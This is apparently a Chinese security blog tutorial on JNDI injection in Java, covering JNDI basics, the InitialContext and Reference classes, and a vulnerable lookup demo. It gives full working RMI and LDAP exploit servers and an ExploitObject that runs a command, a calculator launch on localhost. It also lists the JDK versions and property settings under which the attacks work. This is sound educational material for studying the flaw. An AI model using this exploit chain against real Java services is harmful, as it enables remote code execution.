Java之JNDI注入的实现

目录

• about jndi
• 0x01 简介
• 0x02 jndi的用途
• 0x03 日常使用
• 0x04 jndi命名和目录服务
• 前置知识
• initialcontext类
• reference类
• jndi demo
• jndi+rmi攻击手法
• jndi+ldap攻击手法
• reference

about jndi

0x01 简介

jndi(java naming and directory interface)是sun公司提供的一种标准的java命名系统接口，jndi提供统一的客户端api，通过不同的访问提供者接口jndi服务供应接口(spi)的实现，由管理者将jndi api映射为特定的命名服务和目录系统，使得java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用jndi的api应用程序可以定位资源和其他程序对象。jndi是java ee的重要部分，需要注意的是它并不只是包含了datasource(jdbc 数据源)，jndi可访问的现有的目录及服务有:dns、xnam 、novell目录服务、ldap(lightweight directory access protocol轻型目录访问协议)、 corba对象服务、文件系统、windows xp/2000/nt/me/9x的注册表、rmi、dsml v1&v2、nis。

0x02 jndi的用途

jndi(java naming and directory interface)是一个应用程序设计的api，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似jdbc都是构建在抽象层上。现在jndi已经成为j2ee的标准之一，所有的j2ee容器都必须提供一个jndi的服务。

0x03 日常使用

其实简单看简介会有点感觉jndi类似于rmi中的registry，将其中某一命名服务和相应对象进行绑定，当需要调用这个对象中的方法时，通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件，而不用频繁修改代码。

平常使用jndi注入攻击时常用的就是rmi和ldap。并且关于这两种协议的使用还有些限制，这也会在本文后面提到。

0x04 jndi命名和目录服务

naming service 命名服务：

命名服务将名称和对象进行关联，提供通过名称找到对象的操作，例如：dns系统将计算机名和ip地址进行关联、文件系统将文件名和文件句柄进行关联等等。

directory service 目录服务：

目录服务是命名服务的扩展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

reference 引用：

在一些命名服务系统中，系统并不是直接将对象存储在系统中，而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多，下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结，copy自nice_0e3师傅文章

initialcontext类

构造方法：

initialcontext() 
构建一个初始上下文。  
initialcontext(boolean lazy) 
构造一个初始上下文，并选择不初始化它。  
initialcontext(hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 
initialcontext initialcontext = new initialcontext();

在这jdk里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。

常用方法：

bind(name name, object obj) 
	将名称绑定到对象。 
list(string name) 
	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(string name) 
	检索命名对象。 
rebind(string name, object obj) 
	将名称绑定到对象，覆盖任何现有绑定。 
unbind(string name) 
	取消绑定命名对象。 

reference类

该类也是在javax.naming的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了jndi中类的引用功能。

构造方法：

reference(string classname)
为类名为“classname”的对象构造一个新的引用。
reference(string classname, refaddr addr)
为类名为“classname”的对象和地址构造一个新引用。
reference(string classname, refaddr addr, string factory, string factorylocation)
为类名为“classname”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。
reference(string classname, string factory, string factorylocation)
为类名为“classname”的对象以及对象工厂的类名和位置构造一个新引用。

代码：

 string url = "http://127.0.0.1:8080";
        reference reference = new reference("test", "test", url);

参数1：classname - 远程加载时所使用的类名

参数2：classfactory - 加载的class中需要实例化类的名称

参数3：classfactorylocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法：

void add(int posn, refaddr addr) 
	将地址添加到索引posn的地址列表中。  
void add(refaddr addr) 
	将地址添加到地址列表的末尾。  
void clear() 
	从此引用中删除所有地址。  
refaddr get(int posn) 
	检索索引posn上的地址。  
refaddr get(string addrtype) 
	检索地址类型为“addrtype”的第一个地址。  
enumeration<refaddr> getall() 
	检索本参考文献中地址的列举。  
string getclassname() 
	检索引用引用的对象的类名。  
string getfactoryclasslocation() 
	检索此引用引用的对象的工厂位置。  
string getfactoryclassname() 
	检索此引用引用对象的工厂的类名。    
object remove(int posn) 
	从地址列表中删除索引posn上的地址。  
int size() 
	检索此引用中的地址数。  
string tostring() 
	生成此引用的字符串表示形式。  

jndi demo

下面看一段代码，是一段易受jndi注入攻击的demo

主要是调用的lookup方法中url参数可控，那么可能会导致jndi注入漏洞的产生。

import javax.naming.initialcontext;
import javax.naming.namingexception;

public class jndidemo {
    
    public void jndi(string url) throws namingexception {
        initialcontext initialcontext = new initialcontext();
        initialcontext.lookup(url);
    }
}

jndi+rmi攻击手法

限制条件：

在rmi服务中引用远程对象将受本地java环境限制即本地的java.rmi.server.usecodebaseonly配置必须为false(允许加载远程对象)，如果该值为true则禁止引用远程对象。除此之外被引用的objectfactory对象还将受到com.sun.jndi.rmi.object.trusturlcodebase配置限制，如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

• jdk 5u45,jdk 6u45,jdk 7u21,jdk 8u121开始java.rmi.server.usecodebaseonly默认配置已经改为了true。
• jdk 6u132, jdk 7u122, jdk 8u113开始com.sun.jndi.rmi.object.trusturlcodebase默认值已改为了false。

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象：

system.setproperty("java.rmi.server.usecodebaseonly", "false");
system.setproperty("com.sun.jndi.rmi.object.trusturlcodebase", "true");

jndiserver

import javax.naming.initialcontext;
import javax.naming.namingexception;

public class jndiserver {
    public static void main(string[] args) throws namingexception {
        string url = "rmi://127.0.0.1:1099/exportobject";
        initialcontext initialcontext = new initialcontext();
        initialcontext.lookup(url);

    }
}

jndiexploitserver

import com.sun.jndi.rmi.registry.referencewrapper;
import javax.naming.namingexception;
import javax.naming.reference;
import java.rmi.alreadyboundexception;
import java.rmi.remoteexception;
import java.rmi.registry.locateregistry;
import java.rmi.registry.registry;
import java.util.arrays;

public class jndiexploitserver {
    public static void main(string[] args) throws remoteexception, namingexception, alreadyboundexception {
        //创建registry
        registry registry = locateregistry.createregistry(1099);

        string url = "http://127.0.0.1:8080/";
        // 实例化一个reference尝试为远程对象构造一个引用
        reference reference = new reference("exploitobject", "exploitobject", url);
        // 强转成referencewrapper，因为reference并没有继承remote接口，不能直接注册到registry中
        referencewrapper referencewrapper = new referencewrapper(reference);

        registry.bind("exportobject", referencewrapper);
        system.out.println("registry&server start ...");
        //打印别名
        system.out.println("registry list: " + arrays.tostring(registry.list()));
    }
}

exploitobject

public class exploitobject {
    static {
        try {

            runtime.getruntime().exec("open -a calculator");
        } catch (ioexception e) {
            e.printstacktrace();
        }
    }

    public static void main(string[] args) {
        system.out.println("calc running ...");
    }
}

先启动恶意的jndiexploitserver，然后运行jndiserver，当调用initialcontext.lookup(url)方法时，会通过rmi协议寻找exportobject对应的对象referencewrapper，而referencewrapper为远程对象exploitobject的引用，所以最终实例化的是exploitobject从而触发静态代码块执行达到任意代码执行的目的。

在此期间遇到了几个坑点，记录一下：

• jdk的限制，测试环境延用了rmi时的jdk7u17
• 在编译exploitobject类时使用的javac版本最好和idea中测试环境版本一致，可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名（例如：package com.zh1z3ven.jndi）,指定版本javac编译命令：/library/java/javavirtualmachines/jdk1.7.0_17.jdk/contents/home/bin/javac ./main/java/com/zh1z3ven/jndi/exploitobject.java

jndi+ldap攻击手法

这里的限制是在8u191之前

copy一段ldap的server端代码

ldapserver

import java.net.inetaddress;
import java.net.malformedurlexception;
import java.net.url;

import javax.net.serversocketfactory;
import javax.net.socketfactory;
import javax.net.ssl.sslsocketfactory;

import com.unboundid.ldap.listener.inmemorydirectoryserver;
import com.unboundid.ldap.listener.inmemorydirectoryserverconfig;
import com.unboundid.ldap.listener.inmemorylistenerconfig;
import com.unboundid.ldap.listener.interceptor.inmemoryinterceptedsearchresult;
import com.unboundid.ldap.listener.interceptor.inmemoryoperationinterceptor;
import com.unboundid.ldap.sdk.entry;
import com.unboundid.ldap.sdk.ldapexception;
import com.unboundid.ldap.sdk.ldapresult;
import com.unboundid.ldap.sdk.resultcode;


public class ldapserver {

    private static final string ldap_base = "dc=example,dc=com";

    public static void main(string[] argsx) {
        string[] args = new string[]{"http://127.0.0.1:8080/#exploitobject"};
        int port = 7777;


        try {
            inmemorydirectoryserverconfig config = new inmemorydirectoryserverconfig(ldap_base);
            config.setlistenerconfigs(new inmemorylistenerconfig(
                    "listen", //$non-nls-1$
                    inetaddress.getbyname("0.0.0.0"), //$non-nls-1$
                    port,
                    serversocketfactory.getdefault(),
                    socketfactory.getdefault(),
                    (sslsocketfactory) sslsocketfactory.getdefault()));

            config.addinmemoryoperationinterceptor(new operationinterceptor(new url(args[ 0 ])));
            inmemorydirectoryserver ds = new inmemorydirectoryserver(config);
            system.out.println("listening on 0.0.0.0:" + port); //$non-nls-1$
            ds.startlistening();

        }
        catch ( exception e ) {
            e.printstacktrace();
        }
    }

    private static class operationinterceptor extends inmemoryoperationinterceptor {

        private url codebase;

        public operationinterceptor ( url cb ) {
            this.codebase = cb;
        }

        @override
        public void processsearchresult ( inmemoryinterceptedsearchresult result ) {
            string base = result.getrequest().getbasedn();
            entry e = new entry(base);
            try {
                sendresult(result, base, e);
            }
            catch ( exception e1 ) {
                e1.printstacktrace();
            }
        }

        protected void sendresult ( inmemoryinterceptedsearchresult result, string base, entry e ) throws ldapexception, malformedurlexception {
            url turl = new url(this.codebase, this.codebase.getref().replace('.', '/').concat(".class"));
            system.out.println("send ldap reference result for " + base + " redirecting to " + turl);
            e.addattribute("javaclassname", "foo");
            string cbstring = this.codebase.tostring();
            int refpos = cbstring.indexof('#');
            if ( refpos > 0 ) {
                cbstring = cbstring.substring(0, refpos);
            }
            e.addattribute("javacodebase", cbstring);
            e.addattribute("objectclass", "javanamingreference"); //$non-nls-1$
            e.addattribute("javafactory", this.codebase.getref());
            result.sendsearchentry(e);
            result.setresult(new ldapresult(0, resultcode.success));
        }
    }
}

jndiserver2

public class jndiserver2 {
    public static void main(string[] args) throws namingexception {
        string url = "ldap://127.0.0.1:7777/exploitobject";
        initialcontext initialcontext = new initialcontext();
        initialcontext.lookup(url);

    }
}

exploitobject

public class exploitobject {
    static {
        try {

            runtime.getruntime().exec("open -a calculator");
        } catch (ioexception e) {
            e.printstacktrace();
        }
    }

    public static void main(string[] args) {
        system.out.println("calc running ...");
    }
}

reference

如何绕过高版本 jdk 的限制进行 jndi 注入利用：https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/restrictions-and-bypass-of-jndi-manipulations-rce.html

https://paper.seebug.org/1091/

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/

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